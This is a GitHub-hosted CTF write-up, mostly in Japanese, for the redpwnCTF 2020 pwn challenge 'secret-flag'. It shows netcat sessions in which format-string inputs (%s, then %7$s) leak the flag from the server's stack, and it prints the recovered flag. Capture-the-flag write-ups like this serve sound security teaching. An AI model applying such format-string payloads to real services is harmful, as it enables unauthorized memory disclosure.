Skip to content

Latest commit

 

History

History

secret-flag

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

secret-flag:pwn:348pts

There's a super secret flag in printf that allows you to LEAK the data at an address??
nc 2020.redpwnc.tf 31826
secret-flag

Solution

ncすると名前を聞かれるようだ。

$ nc 2020.redpwnc.tf 31826
I have a secret flag, which you'll never get!
What is your name, young adventurer?
Satoki
Hello there: Satoki

ソースもなく適当な場所へret2できないので、書式文字列攻撃(format string attack)を狙う。
%sの入力で以下のようになった。

$ nc 2020.redpwnc.tf 31826
I have a secret flag, which you'll never get!
What is your name, young adventurer?
%s
Hello there: Hello there:

スタックに積まれたHello there:が出てきてしまっている。
あとは%n$sでn番目まで遡ればよい。
%7$sでフラグが現れた。

$ nc 2020.redpwnc.tf 31826
I have a secret flag, which you'll never get!
What is your name, young adventurer?
%7$s
Hello there: flag{n0t_s0_s3cr3t_f1ag_n0w}

flag{n0t_s0_s3cr3t_f1ag_n0w}